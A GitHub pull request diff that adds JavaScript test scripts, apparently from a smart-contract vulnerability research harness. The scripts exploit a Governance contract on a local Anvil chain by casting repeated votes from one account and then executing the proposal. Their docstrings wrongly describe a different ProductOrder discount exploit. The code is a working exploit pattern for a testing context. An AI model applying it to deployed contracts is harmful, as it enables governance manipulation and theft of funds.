Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding experiments #129

Merged
merged 1 commit into from
Jun 21, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
The table of contents is too big for display.
Diff view
Diff view
  •  
  •  
  •  
Original file line number Diff line number Diff line change
Expand Up @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance');

const { setTimeout } = require('timers');
const { sleep } = require('@lib/os/process');
const { createLoggerWeb3 } = require('@lib/web3/deploy');



// It seems module alias does not work with js path, so, we will resort to the dirty approach.
const projectRoot = path.resolve(__dirname, '..', '..', '..');
const contractsDir = path.join(projectRoot, './contracts');
let contractFileFullName = 'Governance-2'
let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8');
let contractFileFullName = 'Governance'
let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8');
let solcVersion = extractSolcVersion(source);
/**
* Attempts to exploit a vulnerability in the ProductOrder smart contract.
Expand All @@ -35,41 +35,40 @@ let solcVersion = extractSolcVersion(source);
* @returns {Promise<boolean>} A promise that resolves to `true` if the exploit is successful, `false` otherwise.
* @throws {Error} If there's an error during the exploit process.
*/

async function exploit(web3, envInfo, contractAddress) {

try {
// Load the ABI of the Governance contract
// Assuming you have already compiled and have the ABI
const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion);

const contractInstance = new web3.eth.Contract(abi, contractAddress);

// Step 1: Create a proposal
let createResult = await contractInstance.methods.createProposal().send({
from: envInfo.accounts[0],
gas: 3000000
});
await sleep(200);
const proposalId = 0; // let's always target the first proposal in the list;
const proposalId = 0;
governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`);

// 5 seconds for reviewDuration but this time sleep too long to show that lack a proper require statement (commented) in the "vote" function will cause this to still go through even though the design suggests a deadline of 5 seconds since the time the proposal review time is over.
governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds before voting for the first time!`);
await sleep(10000);
// Exploit the fact that voting counts are not correctly bounded
await contractInstance.methods.vote(proposalId).send({
from: envInfo.accounts[0],
gas: 3000000
});

// Step 2: Vote on the proposal multiple times using the same account
for (let i = 0; i <= 3; i++) {
console.log("Voting on the proposal...");
// Repeat voting from the same account multiple times
for (let i = 1; i <= 3; i++) {
await contractInstance.methods.vote(proposalId).send({
from: envInfo.accounts[0],
gas: 3000000
});
await sleep(500);
}

// Wait for grace period to finish
console.log("Waiting for grace period to end... We need to wait 5 + 5 + 5 seconds since the creation of the proposal so we wait enough here to account for the remaining time of that 20 second total delay");
console.log("Waiting for grace period to end...");
await sleep(10000);

// Step 3: Execute the proposal
console.log("Executing the proposal...");
const executeResult = await contractInstance.methods.executeProposal(proposalId).send({
Expand All @@ -88,12 +87,6 @@ async function exploit(web3, envInfo, contractAddress) {









/**
* Executes the exploit and checks its result
*
Expand All @@ -109,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) {
module.exports = async function runTests(web3, envInfo, contractAddress) {
// envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil
console.log(`contractAddress: ${contractAddress}`)
web3 = await createLoggerWeb3(web3);
// Execute the exploit
let result = await exploit(web3, envInfo, contractAddress);
// See if exploit has yielded the predicted result (a very manual oracle!)
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,111 @@
require('module-alias/register');
const fs = require('fs');
const path = require('path');
const assert = require('assert');
const chalk = require('chalk');
const {
extractSolcVersion,
compileWithVersion,
deployContract
} = require('@lib/web3/deploy');

const getLogger = require('@lib/logging/logger').getLogger;
let governanceExploitLogger = getLogger('governance');

const { setTimeout } = require('timers');
const { sleep } = require('@lib/os/process');



// It seems module alias does not work with js path, so, we will resort to the dirty approach.
const projectRoot = path.resolve(__dirname, '..', '..', '..');
const contractsDir = path.join(projectRoot, './contracts');
let contractFileFullName = 'Governance'
let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8');
let solcVersion = extractSolcVersion(source);
/**
* Attempts to exploit a vulnerability in the ProductOrder smart contract.
*
* The exploit involves applying a discount just before the discountEndTime,
* waiting for a few seconds, then making a transaction to pay for the order
* at the discounted price, and finally confirming the order.
*
* @param {Object} web3 - The Web3 instance.
* @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress.
* @returns {Promise<boolean>} A promise that resolves to `true` if the exploit is successful, `false` otherwise.
* @throws {Error} If there's an error during the exploit process.
*/
async function exploit(web3, envInfo, contractAddress) {

try {
// Load the ABI of the Governance contract
const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion);

const contractInstance = new web3.eth.Contract(abi, contractAddress);

// Step 1: Create a proposal
let createResult = await contractInstance.methods.createProposal().send({
from: envInfo.accounts[0],
gas: 3000000
});
const proposalId = 0;
governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`);

// Exploit the fact that voting counts are not correctly bounded
await contractInstance.methods.vote(proposalId).send({
from: envInfo.accounts[0],
gas: 3000000
});

// Repeat voting from the same account multiple times
for (let i = 1; i <= 3; i++) {
await contractInstance.methods.vote(proposalId).send({
from: envInfo.accounts[0],
gas: 3000000
});
}

// Wait for grace period to finish
console.log("Waiting for grace period to end...");
await sleep(10000);

// Step 3: Execute the proposal
console.log("Executing the proposal...");
const executeResult = await contractInstance.methods.executeProposal(proposalId).send({
from: envInfo.accounts[0],
gas: 3000000
});
governanceExploitLogger.info(`I am successful!`)
return true;
} catch (error) {
console.error("Error in governance actions:", error);
return false;
}
}





/**
* Executes the exploit and checks its result
*
* This function will run the exploit and then verify if the exploit has
* yielded the predicted result. If the exploit is successful, a success
* message is displayed, otherwise an error message is shown.
*
* @param {Object} web3 - The Web3 instance.
* @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress.
* @returns {Promise<boolean>} A promise that resolves to `true` if the test is successful, `false` otherwise.
* @throws {Error} If there's an error during the test execution.
*/
module.exports = async function runTests(web3, envInfo, contractAddress) {
// envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil
console.log(`contractAddress: ${contractAddress}`)
// Execute the exploit
let result = await exploit(web3, envInfo, contractAddress);
// See if exploit has yielded the predicted result (a very manual oracle!)
assert.strictEqual(result, true, "Exploit did not yield the expected result");

return result;
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,111 @@
require('module-alias/register');
const fs = require('fs');
const path = require('path');
const assert = require('assert');
const chalk = require('chalk');
const {
extractSolcVersion,
compileWithVersion,
deployContract
} = require('@lib/web3/deploy');

const getLogger = require('@lib/logging/logger').getLogger;
let governanceExploitLogger = getLogger('governance');

const { setTimeout } = require('timers');
const { sleep } = require('@lib/os/process');



// It seems module alias does not work with js path, so, we will resort to the dirty approach.
const projectRoot = path.resolve(__dirname, '..', '..', '..');
const contractsDir = path.join(projectRoot, './contracts');
let contractFileFullName = 'Governance'
let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8');
let solcVersion = extractSolcVersion(source);
/**
* Attempts to exploit a vulnerability in the ProductOrder smart contract.
*
* The exploit involves applying a discount just before the discountEndTime,
* waiting for a few seconds, then making a transaction to pay for the order
* at the discounted price, and finally confirming the order.
*
* @param {Object} web3 - The Web3 instance.
* @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress.
* @returns {Promise<boolean>} A promise that resolves to `true` if the exploit is successful, `false` otherwise.
* @throws {Error} If there's an error during the exploit process.
*/
async function exploit(web3, envInfo, contractAddress) {

try {
// Load the ABI of the Governance contract
const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion);

const contractInstance = new web3.eth.Contract(abi, contractAddress);

// Step 1: Create a proposal
let createResult = await contractInstance.methods.createProposal().send({
from: envInfo.accounts[0],
gas: 3000000
});
const proposalId = 0;
governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`);

// Exploit the fact that voting counts are not correctly bounded
await contractInstance.methods.vote(proposalId).send({
from: envInfo.accounts[0],
gas: 3000000
});

// Repeat voting from the same account multiple times
for (let i = 1; i <= 3; i++) {
await contractInstance.methods.vote(proposalId).send({
from: envInfo.accounts[0],
gas: 3000000
});
}

// Wait for grace period to finish
console.log("Waiting for grace period to end...");
await sleep(10000);

// Step 3: Execute the proposal
console.log("Executing the proposal...");
const executeResult = await contractInstance.methods.executeProposal(proposalId).send({
from: envInfo.accounts[0],
gas: 3000000
});
governanceExploitLogger.info(`I am successful!`)
return true;
} catch (error) {
console.error("Error in governance actions:", error);
return false;
}
}





/**
* Executes the exploit and checks its result
*
* This function will run the exploit and then verify if the exploit has
* yielded the predicted result. If the exploit is successful, a success
* message is displayed, otherwise an error message is shown.
*
* @param {Object} web3 - The Web3 instance.
* @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress.
* @returns {Promise<boolean>} A promise that resolves to `true` if the test is successful, `false` otherwise.
* @throws {Error} If there's an error during the test execution.
*/
module.exports = async function runTests(web3, envInfo, contractAddress) {
// envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil
console.log(`contractAddress: ${contractAddress}`)
// Execute the exploit
let result = await exploit(web3, envInfo, contractAddress);
// See if exploit has yielded the predicted result (a very manual oracle!)
assert.strictEqual(result, true, "Exploit did not yield the expected result");

return result;
}
Loading
Loading